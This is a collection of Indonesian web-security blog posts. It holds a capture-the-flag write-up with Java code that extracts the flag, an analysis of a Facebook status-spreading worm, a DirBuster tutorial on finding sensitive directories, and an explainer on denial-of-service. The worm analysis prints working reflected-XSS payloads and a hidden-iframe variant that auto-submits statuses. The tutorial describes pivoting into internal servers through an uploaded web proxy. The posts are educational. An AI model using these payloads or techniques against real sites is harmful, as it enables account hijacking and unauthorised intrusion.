Ternyata kita tidak bisa langsung mendapatkan flag, masih ada satu barrier lagi yang harus kita lewati. Mari kita korek lagi source codenya untuk mencari variable displayFlay.

Displaying Flag

Dalam class org.owasp.appsecusa.capturetheflag.loginchallenge.Login ada method displayFlag() yang fungsinya menampilkan flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private void displayFlag(Boolean displayFlag) throws IOException, EncryptionException {
    BASE64Decoder de = new BASE64Decoder();
    AES128Encryptor instance = new AES128Encryptor();
    InputStream in = new ByteArrayInputStream(de.decodeBuffer(this.encodedData));
    ByteArrayOutputStream out = new ByteArrayOutputStream();
    instance.decrypt(this.myWindow.pin.getText(), in, out);
    ByteArrayInputStream flagData = new ByteArrayInputStream(out.toByteArray());
    BufferedImage image = ImageIO.read(flagData);
    ImageIcon icon = new ImageIcon(image, "Our precious flag.");
    if (displayFlag.booleanValue() == true)
      this.myWindow.loginResponseLabel.setIcon(icon);
    else
      this.myWindow.response_label.setText("There is an encrypted flag stored for this user!\nI am able to decrypt it using your information\nbut, unfortunatly, I cannot share it with you as the\ndisplayFlay variable is set to false.\nThat's about all I can tell you. Good Luck!");
  }

Dalam method di atas terlihat bahwa flag berupa image dienkrip dengan AES 128 bit dengan PIN sebagai kuncinya. Masalahnya ada pada baris ke-10, bila method displayFlag dipanggil dengan parameter boolean false, maka akan flag tidak akan ditampilkan.

displayFlag() ini dipanggil dalam actionPerformed() masih di class yang sama. Berikut adalah potongan kode dalam actionPerformed() yang memanggil displayFlag().

1
2
3
4
5
          if (this.dataTest.booleanValue() == true)
            displayFlag(Boolean.valueOf(false));
          else
            this.myWindow.response_label.setText("There are no encrypted flags stored for this user.");
        }

Potongan kode di atas menunjukkan bahwa displayFlag() dipanggil dengan parameter false, akibatnya flag tidak akan muncul. Parameter false ini sudah dibuat static hardcoded dalam source codenya, jadi dalam kondisi apapun akan tetap false. Karena dibuat static dan hardcoded, tidak ada cara lain untuk membuatnya menjadi true tanpa mengubah program.

Capturing the Flag

Kita bisa saja mengubah source code class tersebut dan mengubah “displayFlag(Boolean.valueOf(false))” menjadi “displayFlag(Boolean.valueOf(true))” lalu meng-compile dan menjalankan program tersebut. Tapi saya memilih untuk mengubahnya menjadi program kecil di console (bukan Applet), hanya untuk menyimpan flag ke dalam file PNG.

Berikut adalah potongan kode untuk men-dekrip dan menyimpan flag ke dalam file flag.png. Kode tersebut diambil dari kode aslinya dengan sedikit modifikasi unutuk menyimpan flag ke dalam file.

Bila anda ingin mencoba sendiri, source code lengkap untuk mendapatkan flag bisa didownload di: Capture.zip, anda hanya perlu melakukan ‘javac ParseXML.java’ kemudian ‘java ParseXML’ untuk mendapatkan flag.png.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public class ParseXML
{
 
	public static LoginUsers parseXML() throws Exception
	{
		String resourceName = "Data.xml";
		Reader reader = new BufferedReader(new InputStreamReader(ParseXML.class.getClassLoader().getResourceAsStream(resourceName)));
		JAXBContext jc = JAXBContext.newInstance(new Class[] { LoginUsers.class });
		Unmarshaller um = jc.createUnmarshaller();
		return (LoginUsers)um.unmarshal(reader);
	}
 
	private static void displayFlag(String encodedData) throws Exception {
		AES128Encryptor instance = new AES128Encryptor();
		InputStream in = new ByteArrayInputStream(decode(encodedData));
		ByteArrayOutputStream out = new ByteArrayOutputStream();
		instance.decrypt("495823", in, out);
		ByteArrayInputStream flagData = new ByteArrayInputStream(out.toByteArray());
		BufferedImage image = ImageIO.read(flagData);		
 
		String fname = "flag.png";
		File file = new File(fname);
		ImageIO.write(image,"png",file);				
		System.out.println("Decrypted and Saved to "+fname);
	}

Ketika file tersebut dijalankan akan membuat sebuah file bernama flag.png. Berikut adalah tampilan ketika class ini dijalankan dari command prompt.

Flag.png adalah QR barcode yang mengandung teks. Untuk membaca isi teks dari barcode tersebut saya memakai layanan barcode reader online.

Bendera berhasil kita rebut, yaitu teks: http://www.appsecusa.org/ctf.html. Sekarang tinggal submit jawabannya.

Written by Rizki Wicaksono

July 31st, 2011 at 1:54 pm

Posted in Web Security

Memahami Teknik Penyebaran Status Berantai di Facebook

without comments

Hari ini saya menyadari ada yang tidak beres dengan status teman-teman facebook saya. Banyak yang mendadak statusnya berisi promosi suatu link bahkan hingga berkali-kali. Apa gerangan yang terjadi? Dalam artikel ini saya akan membedah teknik penyebaran status berantai tersebut.


Analisa

Mari kita mulai analisa kita dengan mengambil sample satu URL jebakan, yaitu tinyurl.com/sampahh. Ini adalah url versi pendek yang bila diklik akan melakukan redirect ke url aslinya, yaitu:

http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt='<script>window.onload=function(){document.forms[0].message.value='jangan salahin w kalo lo bakal ngakak ngeliat ni orang :D http://tinyurl.com/sampahh';document.forms[0].submit();}</script>

URL tersebut akan saya pecah menjadi 3 bagian:

  • http://m.facebook.com/connect/prompt_feed.php
  • ?display=wap&user_message_prompt=
  • '<script>window.onload=function(){document.forms[0].message.value='jangan salahin w kalo lo bakal ngakak ngeliat ni orang :D http://tinyurl.com/sampahh';document.forms[0].submit();}</script>

Bagian pertama adalah URL untuk update status. Bagian kedua adalah query string parameter yang terdiri dari dua parameter, yaitu display dan user_message_prompt. Bagian ketiga adalah isi dari parameter user_message_prompt yang merupakan payload javascript untuk mengubah status secara otomatis.

The Prompt

Sebelum masuk lebih jauh membahas payloadnya, mari kita lihat dulu bentuk tampilan dari URL untuk mengubah status ini. Gambar ini adalah screenshot ketika browser membuka URL:

http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt=Masukkan Status

Dari gambar di atas kini kita memahami fungsi dari parameter user_message_prompt, yaitu sebagai judul pertanyaan/prompt. Agar user mengerti apa yang harus diinputkan, dalam setiap prompt harus diberi judul yang jelas, contohnya: “Input your PIN”, “Enter your Name”, “Password:” dan sebagainya. Silakan anda mencoba bermain-main dengan mengubah-ubah nilai user_message_prompt sesuka anda di address bar dan perhatikan apa yang terjadi.

Reflected Cross Site Scripting

Normalnya user_message_prompt diisi dengan murni teks saja berupa instruksi/petunjuk apa yang harus diinputkan user. Bila parameter user_message_prompt berisi teks murni saja, maka tidak ada yang perlu dikhawatirkan, namun bagaimana bila parameter tersebut diisi dengan kode HTML atau javascript?

Perhatikan apa yang terjadi bila user_message_prompt diisi dengan kode HTML:

<font color=red><h1>Hello!!</h1></font>

Perhatikan juga apa yang terjadi bila user_message_prompt diisi dengan kode HTML:

<img src="http://1.bp.blogspot.com/_D2J2A4A68T8/TH80zGbHcYI/AAAAAAAAAIw/RXaLXYldrWw/s320/Hacked.jpg"/>

Bagaimana bila user_message_prompt tidak hanya diisi dengan kode HTML, tapi diisi dengan kode javascript? Mari kita coba memasukkan javascript sederhana berikut ini:

<script>prompt("Enter your PIN");</script>

Kita sudah melihat bagaimana user_message_prompt tidak hanya bisa diisi dengan normal teks, namun juga bisa diisi dengan kode HTML dan javascript yang dieksekusi browser. Ini adalah vulnerability yang disebut dengan XSS (Cross Site Scripting), lebih tepatnya reflected-XSS (karena kode yang diinjeksikan dalam URL “dipantulkan” kembali sebagai response HTTP).

The Payload

Dalam contoh sebelumnya kita mencoba memasukkan javascript sederhana yang hanya menampilkan prompt input kepada user. Sebenarnya javascript bisa dipakai untuk melakukan hampir apa saja mulai dari yang sekedar iseng seperti mengubah status, sampai yang serius seperti seperti mencuri cookie korban atau take-over komputer korban dengan mengeksploitasi kelemahan pada browsernya. Hal-hal inilah yang disebut dengan payload. Attacker bebas memasukkan payload apa saja yang dia inginkan seperti mengubah status, mencuri cookie dsb.

Perhatikan kembali isi parameter user_message_prompt yang didapat dari tinyurl.com/sampahh:

user_message_prompt='<script>window.onload=function(){document.forms[0].message.value='jangan salahin w kalo lo bakal ngakak ngeliat ni orang :D http://tinyurl.com/sampahh';document.forms[0].submit();}</script>

Bagi pembaca yang jeli tentu merasa aneh, kenapa ada karakter single-quote (‘) sebelum tag script? Perlukah karakter single-quote ini? Jawabannya adalah tidak perlu sama sekali. Saya melihat semua yang membuat url sejenis ini dalam payloadnya selalu ada karakter single-quote di depan tag script. Mungkin pembuatnya hanya ikut-ikutan saja tanpa benar-benar mengerti apa yang terjadi, karena dia mencontoh orang lain memakai single-quote, maka diapun ikut memakai single-quote.

Payload untuk mengubah status sebenarnya sangat sederhana. Berikut ini adalah payload untuk mengubah status di facebook secara otomatis:

Onload adalah event yang terjadi bila suatu halaman web selesai di-load. Baris pertama pada kode di atas artinya meminta browser untuk mengeksekusi sebuah fungsi secara otomatis ketika halaman ini selesai diload. Fungsi yang dimaksud terdiri dari dua baris kode sederhana untuk mengubah nilai textarea message dan melakukan submit form.

Baris kedua dimaksudkan untuk mengubah nilai dari textarea bernama message seperti gambar di bawah ini.

Langkah terakhir adalah memanggil fungsi submit() untuk melakukan submit form. Jadi sangat sederhana cara untuk mengubah status secara otomatis, cukup dua langkah saja, mengisi message dengan isi status, lalu submit, status pun selesai diubah.

Varian Lain dengan IFRAME

Saya juga menemukan varian lain yang memakai iframe. Varian ini lebih berbahaya karena bisa disisipkan dalam web apapun dan bisa dengan mudah melakukan pengubahan status berulang kali. Salah satu teman facebook saya menjadi korban freesmsvoip.com sampai berkali-kali.

Kenapa bisa kena sampai berkali-kali? Mari kita lihat potongan awal source html dari www.freesmsvoip.com.

<iframe id="CrazyDaVinci" style="display:none;" src="http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt='<script>window.onload=function(){document.forms[0].message.value='Kirim SMS Gratis Ke Semua Operator di www.freesmsvoip.com Wow.. cool guys! coba gihhh!!!';document.forms[0].submit();}</script>"></iframe>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>SMS Gratis Semua Operator - Kirim SMS Gratis Via Internet - SMS Gratis Online - Widget SMS Gratis</title>
<meta name="description" content="Kirim SMS gratis ke semua operator GSM, CDMA se-Indonesia tanpa bayar lewat internet" />

Perhatikan pada baris pertama ada tag iframe dengan src yang juga mengeksploitasi XSS vulnerability pada m.facebook.com/connect/prompt_feed.php. Tag iframe ini tidak hanya ada pada halaman depan saja, namun pada setiap halaman di web tersebut. Akibatnya bila pengunjung hanya melihat halaman depan saja, dia hanya kena satu kali, bila dia juga berkunjung ke halaman-halaman lain, maka dia akan melakukan update status berkali-kali.

Berbeda dengan kasus yang memakai jasa pemendek url seperti tinyurl.com, serangan memakai iframe bisa dilekatkan pada halaman web yang tampak normal, baik hati dan tidak sombong. Dengan maraknya kasus eksploitasi XSS dengan url-shortener, orang akan semakin curiga bila menerima link yang dipendekkan karena user tidak tahu url itu akan dibelokkan ke mana. Menerima url yang dipendekkan kini mirip dengan menerima paket yang tidak jelas apa isinya, buku atau bom. Namun berbeda kasusnya dengan url yang panjang, orang cenderung tidak curiga bila menerima url panjang, apalagi domainnya tampak seperti situs baik-baik.

Written by Rizki Wicaksono

March 30th, 2011 at 1:59 am

Posted in Web Security

Berburu Direktori dan File Sensitif dengan DirBuster

without comments

Mungkin anda akan terkejut bila mengetahui bahwa ada banyak website yang berhasil dihack/dideface hanya karena sebuah kesalahan “konyol”. Tidak dibutuhkan keahlian programming, SQL atau jurus njelimet lainnya, cuma membuka sebuah direktori yang berisi file-file sensitif, maka sebuah website akan bertekuk lutut. Ya benar, ini adalah fakta yang seringkali terjadi.

Direktori Sensitif

Semua direktori atau file yang mengandung informasi berguna buat hacker untuk mendeface website anda, maka direktori itu termasuk sensitif. Beberapa direktori atau file yang tergolong sensitif antara lain:

  • Backup

Hal yang biasanya dibackup adalah database dan source script webnya. Bayangkan apa yang terjadi bila hacker berhasil mendapatkan seluruh file php dan “database dump” dalam satu file zip? Kalau anda berpikir itu tidak mungkin terjadi, anda salah besar, karena saya sering menemukan file backup berekstensi zip, tar.gz, atau sql berserakan di websitenya.

  • Halaman Login

Ada banyak macam halaman login, umumnya adalah halaman login untuk mengelola isi website, yaitu CMS Administrator. Selain CMS, halaman login yang lain adalah phpMyAdmin, cpanel, Tomcat Admin Page, AXIS2 Admin Page dll. Tomcat dan AXIS2 adalah Java based webserver dan web service platform.

Kenapa halaman login termasuk sensitif? Karena dengan mengetahui URL untuk menjadi Administrator website, seorang hacker bisa melakukan serangan SQL Injection, password guessing, dictionary attack dan brute force attack untuk membuat dirinya menjadi seorang administrator di website anda. Celakanya banyak website yang halaman login adminnya tidak menggunakan password yang kuat, bahkan menggunakan password default.

  • Log file

Log file biasanya dipakai untuk tujuan debugging atau penelusuran kesalahan oleh web developer. Karena itu tidak heran bila dalam log file banyak mengandung informasi sensitif yang bisa dimanfaatkan hacker. File log ini berbeda-beda tergantung dari web aplikasi yang dipakai karena web developer punya kebebasan untuk membuat  atau tidak membuat file log.

Salah satu contoh log file yang biasa ditemukan di web adalah WS_FTP.LOG, file ini dibuat oleh program WS_FTP, yaitu FTP Client. Setiap kali memakai program ini untuk upload ke web anda, WS_FTP akan otomatis memasukkan file WS_FTP.LOG ke dalam folder website anda. Dalam file WS_FTP.LOG ini seorang hacker bisa mendapatkan banyak informasi sensitif: antara lain IP address web server anda (banyak web yang menyembunyikan IP address sebenarnya dibalik NAT), full path lokasi document root web anda, username account hosting anda (bila dalam full path mengandung nama seperti /home/username/…./).

WS_FTP.LOG juga bisa membocorkan isi sebuah direktori bila anda sudah mematikan fitur “Directory Indexing” atau membuat file index.html kosong. Seorang hacker yang tidak bisa melihat isi direktori karena directory index dimatikan atau ada file index.html kosong, bisa mencoba membuka WS_FTP.LOG di direktori itu. Bila ternyata file WS_FTP.LOG ada, maka file log itu akan membocorkan isi file dalam direktori tersebut.

Pesan error di atas umumnya dijumpai pada direktori yang ada, tapi directory indexing tidak diaktifkan, sehingga anda harus menebak nama file yang ada di direktori tersebut. Bila directory indexing diaktifkan, maka anda akan menemukan halaman dengan title “Index of /”.

  • Versi Lama

Terkadang ketika sebuah website diupdate ke versi baru, file-file script lama disimpan dalam satu direktori bernama oldversion, version1 dan versi barunya dalam direktori /new/ atau /ver2/ atau /beta/. Menemukan beragam versi suatu web adalah kesempatan emas untuk menemukan celah keamanan karena biasanya web versi terbarunya memang tidak mengandung kelemahan, namun bila kita berhasil menemukan versi lamanya, akan ditemukan banyak celah keamanan.

Saya pernah menemukan sebuah website yang securitynya bagus, saya tidak menemukan vulnerability di sana, namun ternyata dia lupa membuang versi lama dari web tersebut. Namun ternyata web versi lama yang mengandung banyak bug dari SQL injection sampai local file injection masih bisa diakses di direktori lain. Walaupun web versi terbaru securitynya bagus, namun jadi tidak berarti apa-apa karena hacker bisa menyerang dari web versi lamanya.

Berburu Direktori dan File Sensitif

Nama direktori atau file bisa ditemukan dengan 2 cara:

  • Crawling

Crawling ini adalah cara yang dipakai oleh search engine untuk mendapatkan isi website anda.  Ini adalah cara yang “sopan”, karena kita hanya mencari apa yang memang disediakan oleh pemilik webnya. Search engine crawling akan mengikuti direktori apa yang boleh dan apa yang tidak boleh diambil dalam file /robots.txt. Jadi bila ada direktori sensitif yang bisa di-search di Google, maka itu terjadi karena di suatu situs ada pointer ke obyek itu berupa link. Bila di seluruh jagat internet ini tidak ada satupun link ke direktori itu, maka tidak mungkin direktori itu muncul di Google.

Kita bisa memanfaatkan Google Hacking untuk mencari direktori sensitif yang sengaja atau tidak sengaja ter-index oleh Google. Kita juga bisa membuat script atau memakai program semacam wget untuk melakukan crawling website  (tidak memanfaatkan Google index). Menjalankan crawler sendiri terkadang diperlukan bila kita ingin melakukan crawling direktori yang search engine dilarang untuk masuk (diblacklist di /robots.txt).

  • Guessing

Bila dengan cara sopan tidak mendapatkan direktori sensitif, maka kita terpaksa pakai cara “kasar”. Mendapatkan direktori sensitif dengan cara ini sama dengan menebak password. Ada dua cara yang bisa dipakai:

  1. Pure Brute Force Attack
  2. Cara ini adalah cara yang paling kasar. Kita mencoba semua kemungkinan kata yang muncul dari huruf , angka dan karakter lain sebagai nama direktori atau nama file. Contoh: request /aa/, lalu /ab/, lalu /ac/, lalu /ad/, demikian seterusnya sampai semua kemungkinan yang ada dicoba. Cara ini membutuhkan waktu yang sangat lama, jadi kurang efektif. Tapi kelebihannya adalah tidak ada direktori yang lolos, karena semua kemungkinan akan dicoba.

  3. Dictionary Attack
  4. Ini adalah cara yang lebih sopan dibanding pure brute force. Kita menggunakan kamus, yaitu kumpulan nama yang akan kita pakai untuk request ke web server. Efektif tidaknya cara ini tergantung dari bagaimana kualitas kamus yang dipakai. Semakin baik kualitas kamusnya, semakin besar kemungkinan berhasil mendapatkan direktori sensitif. Kamus yang baik adalah kamus berisi kata yang memang benar-benar pernah dipakai untuk nama direktori, jadi bukan nama fiktif atau karangan.

DirBuster dari OWASP

Dalam artikel ini saya akan menggunakan tools gratisan, DirBuster yang dibuat oleh OWASP (Open Web Application Security Project), sebuah kelompok non-profit yang berfokus pada keamanan web. Seperti yang sudah saya katakan sebelumnya, kekuatan tools semacam ini tergantung pada kualtias kamus yang dimilikinya.

DirBuster memiliki kamus yang sangat lengkap, bukan nama fiktif yang tidak pernah dipakai, tapi memang benar-benar nama yang pernah dipakai sebagai nama direktori. Kumpulan nama ini didapatkan dari internet dengan cara melakukan crawling terhadap situs-situs internet lalu mengelompokkannya. Kumpulan nama yang dipakai minimal 3 situs berbeda ditaruh di file dengan akhiran small.txt, kumpulan nama yang dipakai minimal 2 situs berbeda ditaruh di file dengan akhiran medium.txt, dan semua nama yang ditemukan ditaruh dalam file berakhiran big.txt.

Bila anda membutuhkan daftar nama direktori saja untuk dipakai di program lain, anda juga bisa mendownload kamusnya saja tanpa harus mendownload DirBuster.

Tools ini sangat mudah digunakan, jadi silakan saja langsung download DirBuster. Sebelumnya pastikan dulu komputer anda sudah terinstall Java, karena tools ini dibuat dengan Java.

Scanning Type

Ada dua jenis scanning yang bisa dilakukan, pure brute force atau dictionary based attack. Bila anda memilih memakai teknik pure brute force, maka anda harus menentukan character set (kumpulan karakter) yang akan dijadikan nama direktori dan tentukan juga panjang minimal dan maksimalnya. Semakin besar populasi dari character set yang anda pilih dan semakin panjang max length yang anda pilih, semakin besar kumpulan kata yang dihasilkan, itu artinya dibutuhkan waktu yang semakin lama untuk mencoba semuanya. Gambar di bawah ini adalah screenshot ketika memilih pure brute force.

Bila memilih list based brute force, maka kita harus memilih file berisi daftar nama direktori. DirBuster sudah menyediakan banyak dictionary yang bisa dipilih sesuai kebutuhan:

  • directory-list-2.3-small.txt  (87650 words) : Minimal dipakai di 3 situs berbeda.
  • directory-list-2.3-medium.txt  (220546 words) : Minimal dipakai di 2 situs berbeda.
  • directory-list-2.3-big.txt  (1273819 words) : Minimal pernah dipakai.
  • directory-list-lowercase-2.3-small.txt  (81629 words) : Versi case insensitive dari directory-list-2.3-small.txt
  • directory-list-lowercase-2.3-medium.txt  (207629 words) : Versi case insensitive dari directory-list-2.3-medium.txt
  • directory-list-lowercase-2.3-big.txt  (1185240 words) : Versi case insensitive dari directory-list-2.3-big.txt
  • directory-list-1.0.txt  (141694 words)  : Daftar awalnya, tidak terurut
  • apache-user-enum-1.0.txt  (8916 usernames) : Dipakai untuk user enumeration, mendapatkan valid username di sebuah server
  • apache-user-enum-2.0.txt  (10341 usernames) : Dipakai untuk user enumeration

Dalam list yang disediakan DirBuster juga menyediakan daftar username yang dipakai untuk user enumeration, yaitu mendapatkan nama user yang valid di sebuah server. Dalam web server Apache yang mengaktifkan mod_userdir, bisa dilakukan user enumeration dengan cara menggunakan ~namauser sebagai nama direktori.

Gambar di bawah ini adalah screenshot ketika kita memilih menggunakan dictionary attack.

Starting Options

Pilihan lain yang harus dipilih adalah starting options, yaitu di mana titik mulainya DirBuster mencari direktori. Pilihannya adalah standard start point, atau URL Fuzz. Standard start point adalah pilihan yang paling banyak digunakan karena pilihan ini berarti kita meminta DirBuster untuk menggunakan nama direktori sebagai titik awal.

Pilihan yang ada ketika kita memilih Standard Start Point adalah checkbox Brute Force Dirs yang bisa dimatikan bila kita tidak ingin ingin membrute Direktori. Brute Force Files bisa dimatikan bila kita tidak ingin mencari file. Dua pilihan tersebut bisa diatur sesuai kebutuhan, apakah ingin mencari direktori dan nama file, atau direktori saja, atau nama file saja.

Pilihan File extention bisa diisi dengan ekstensi file yang ingin dicari, misalnya bisa kita isi dengan php, zip, gz, tar.gz. Namun bila kita tidak ingin menggunakan ekstensi, kita bisa centang pilihan Use Blank Extention.

Pilihan Be Recursive digunakan untuk membuat DirBuster melakukan pencarian secara mendalam (Deep First Search), yaitu mencari subdirektori dalam sebuah direktori, mencari sub-subdirektori dalam subdirektori dan seterusnya sampai kedalaman tertentu.

Ada kalanya kita harus membrute force nama direktori yang merupakan bagian dari parameter URL. Dalam kasus seperti itu kita bisa memakai pilihan URL Fuzz. Salah satu contoh kasusnya adalah ketika kita ingin melakukan scanning melalui sebuah web based proxy seperti PHPProxy.

Ketika kita ingin scanning website internal dengan IP address private dari website public yang sudah berhasil kita susupi, kita bisa gunakan PHProxy. URL PHProxy biasanya berbentuk http://somewebsite/myproxy/?q=http://situstarget/{dir}. Dalam kasus seperti ini, pilihan URL Fuzz bisa sangat berguna. Gambar di bawah ini menunjukkan skenario tersebut. Setelah seorang hacker berhasil menguasai web server public, dia akan mengupload web based proxy seperti PHProxy. Dengan proxy tersebut hacker bisa melebarkan serangannya ke arah dalam dengan menyerang web server internal yang tidak bisa dijangkau dari internet.

Walaupun tools ini sangat sederhana, tapi jangan remehkan keampuhannya. Silakan coba saja sendiri, mungkin nanti anda akan terkejut melihat banyaknya webmaster yang sembrono menaruh file/direktori sensitif di websitenya.

http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project#tab=Download

Written by Rizki Wicaksono

May 5th, 2010 at 2:16 pm

Posted in Web Security

Memahami Serangan Denial of Service

without comments

Dalam artikel ini saya akan menjelaskan mengenai jenis serangan yang bisa dikatakan tidak ada obatnya, yaitu denial of service atau DoS. Bila serangan DoS ini dilakukan secara beramai-ramai dan terorganisir dengan baik, maka akan menghasilkan kerusakan yang dahsyat dan sanggup melumpuhkan situs-situs populer seperti twitter.com dan metasploit.com.

Apa itu DoS

Denial of service adalah jenis serangan yang tujuannya adalah mencegah pengguna yang sesungguhnya menikmati layanan yang diberikan server. Server sesuai namanya adalah pelayan yang harus selalu siap melayani permintaan pengguna, yang umumnya beroperasi 24 jam tanpa henti. Contohnya adalah web server yang bertugas melayani pengunjung web menyediakan informasi dalam bentuk halaman html. Dalam kondisi normal, pengunjung dapat meminta resource dari web server untuk ditampilkan dalam browsernya, namun bila web server terkena serangan DoS maka pengunjung tidak bisa menikmati layanan web server.

Secara umum ada 2 cara melakukan serangan DoS:

  1. Mematikan Server
  2. Menyibukkan Server
    • Tanpa bug/vulnerability
    • Meng-exploit bug/vulnerability

DoS dengan Mematikan Server: Kill Them!

Anda pernah mengalami ingin memakai telepon umum atau ATM namun tidak bisa karena di mesin tersebut ditempel kertas berisi pesan “Out of Service” atau “Sedang dalam perbaikan”. Telepon umum adalah target serangan DoS yang biasa terjadi, dimana-mana kita menemukan telpon umum yang rusak karena serangan DoS seperti membanting gagang telpon, mencabut kabel, memecahkan LCD dan aksi-aksi lainnya.

Tujuan serangan ini adalah membuat server shutdown, reboot, crash, “not responding”. Jadi serangan ini menghasilkan kerusakan yang sifatnya persisten artinya kondisi DoS akan tetap terjadi walaupun attacker sudah berhenti menyerang, server baru normal kembali setelah di-restart/reboot.

Bagaimana cara serangan DoS ini dilakukan? Serangan ini dilakukan dengan meng-exploit bug/vulnerability pada server. Kata kunci pada vulnerability jenis ini biasanya adalah “specially/carefully crafted packet/request”, yang artinya paket yang dirancang khusus. Kenapa dirancang khusus? Sebab dalam paket itu mengandung  sifat tertentu yang membuat server mati ketika mengolah paket khusus itu.

Mari kita perhatikan beberapa contoh vulnerability yang berakibat pada DoS attack:

  • Ping of Death ( CA-1996-26 )
  • Ini adalah jenis bug yang sudah sangat tua. Praktis sudah tidak ada lagi sistem yang vulnerable terhadap bug ini. Bug ini bila diexploit akan membuat server crash, freeze atau reboot. Serangan ini dilakukan dengan mengirimkan “specially crafted” paket berupa oversized ICMP packet, yaitu paket yang ukurannya di atas normal. Ketika server menerima dan memproses paket yang “aneh” ini, maka server akan crash, freeze atau reboot. Ini adalah contoh serangan DoS “one shot one kill” karena bisa merusak server hanya dengan satu tembakan saja.

  • MySQL IF Query DoS ( SA25188 )
  • Bug ini akan membuat mysql server menjadi crash hanya dengan mengirim sql khusus yang mengandung fungsi IF() contohnya: “SELECT id from example WHERE id IN(1, (SELECT IF(1=0,1,2/0)))”. Ini juga jenis serangan “one shot one kill”.

  • Cisco Global Site Selector DNS Request Denial of Service (SA33429)
  • Bug ini membuat DNS server Cisco mati dengan mengirimkan beberapa “specially crafted” paket request DNS dalam urutan tertentu.

Tiga contoh di atas kiranya cukup memberikan gambaran tentang bagaimana serangan DoS jenis ini dilakukan. Pada intinya adalah attacker memanfaatkan (baca:mengexploit) bug yang membuat server berhenti bekerja dan biasanya dilakukan sendirian secara remote dengan mengirimkan specially crafted packet.

DoS dengan Menyibukkan Server: Make Them As Busy As Possible!

Pada waktu menjelang lebaran kita sering merasa begitu sulit mengirim sms, bahkan sering terjadi gagal kirim. Begitu juga ketika berlangsung acara kuis di TV, mengelpon ke nomor untuk menjawab kuis terasa begitu sulit.  Hal ini terjadi karena ada begitu banyak orang yang mengirim sms pada saat lebaran dan menelpon pada waktu kuis sehingga membuat jaringan telekomunikasi menjadi begitu sibuk sampai tidak bisa melayani pengguna lain. Peristiwa itu mirip dengan yang terjadi ketika sebuah server mendapat serangan denial of service. DoS yang terjadi pada peristiwa tersebut bukan jenis DoS yang mematikan server, namun jenis DoS yang menyibukkan server.

Jenis DoS ini bersifat sementara, server akan kembali normal bila attacker berhenti mengirimkan request yang membuat sibuk server.

DoS jenis ini terbagi lagi menjadi 2 jenis berdasarkan cara melakukan serangan:

  • Exploiting vulnerability: Menyerang dengan malicious request/packet
  • No vulnerability exploitation: Menyerang dengan normal request/packet

Membuat server sibuk dengan mengexploitasi vulnerability lebih cepat daripada tanpa mengeksploit vulnerability.

Make Server Busy by Exploiting Vulnerability

Dalam serangan DoS jenis ini, attacker memanfatkan bug yang membuat server berlebihan dalam menggunakan resource (cpu,memory,disk space dsb). Attacker akan mencari cara bagaimana agar membuat server bekerja ekstra keras (jauh lebih keras dari request normal) untuk melayani request dia. Biasanya serangan DoS jenis ini tidak berupa serangan “one shot one kill”. Serangan dilakukan dengan melakukan banyak request dengan setiap request membuat server mengonsumsi lebih banyak resource dari request yang normal.

Dalam hitungan matematika sederhana, bila attacker bisa membuat server bekerja selama 10 detik  hanya untuk melayani dia (misal normalnya 0,1 detik), maka attacker bisa mengirimkan request 1.000x untuk membuat server melayani dia selama 10.000 detik (2,7 jam lebih) sehingga membuat pengguna lain tidak bisa menikmati layanan server.

Untuk lebih memahami DoS jenis ini, mari kita lihat contoh-contoh vulnerability yang bisa diexploit untuk melancarkan serangan DoS jenis ini:

  • TCP SYN Flood DoS
  • Ini adalah serangan DoS yang sudah sangat tua. Attacker menyerang dengan cara membanjiri server dengan malicious request berupa paket SYN dengan fake source IP address. SYN packet adalah paket dari client yang mengawali terbentuknya koneksi TCP/IP, setelah itu server akan membalas dengan SYN-ACK, dan dilengkapi dengan paket SYN-ACK-ACK dari client, tiga proses ini disebut three way handshake.

    Triknya adalah pada fake source ip address pada paket SYN dari client. Akibatnya server akan mengirim SYN-ACK (step 2) ke ip address yang salah sehingga server juga tidak akan mendapatkan balasan SYN-ACK-ACK dari client. Padahal untuk setiap client yang mencoba membuka koneksi, server akan mengalokasikan resource seperti memori dan waktu untuk menunggu datangnya balasan ACK dari client. Dengan cara ini attacker menghabiskan resource server hanya untuk melayani request palsu dari attacker.

  • Apache mod_deflate DoS
  • Apache menggunakan mod_deflate untuk memampatkan file. Bila visitor meminta sebuah file, maka apache akan menggunakan mod_deflate untuk memampatkannya kemudian mengirimkan ke visitor tersebut. Namun bila di tengah proses pemampatan, visitor memutuskan koneksi TCP, Apache masih terus bekerja memampatkan file untuk visitor yang sebenarnya sudah tidak ada (sudah disconnect). Jadi bugnya adalah pada borosnya pemakaian resource cpu untuk memampatkan file untuk client yang sudah tidak ada.

    Attacker memanfaatkan kelemahan ini dengan meminta sebuah file yang berukuran besar, kemudian dalam waktu singkat memutuskan koneksi sehingga membuat server bekerja keras mempatkan file untuk visitor yang sudah tidak ada. Request ini diulang berkali-kali sampai server begitu sibuknya dan semua resource cpu habis.

Dua contoh vulnerability di atas cukup menjelaskan bagaimana serangan DoS jenis ini dilakukan. Pada intinya adalah dengan mengirim banyak malicious request/paket  yang membuat server mengonsumsi resource lebih banyak dan lebih lama untuk setiap requestnya.

Make Server Busy Without Exploiting Vulnerability

Ini adalah jenis serangan yang mengandalkan pada kemampuan mengirimkan normal request sebanyak-banyaknya sehingga server menjadi sibuk. Perbedaan DoS jenis ini dengan DoS yang mengexploit vulnerability adalah pada requestnya. Request yang dikirimkan pada DoS jenis ini adalah request yang normal seperti yang dilakukan pengguna biasa, sehingga server tidak mengonsumsi resource berlebihan. Sedangkan DoS yang mengandalkan vulnerability mengirimkan specially crafted malicious request untuk membuat server mengonsumsi resource lebih banyak untuk melayani malicious request tersebut.

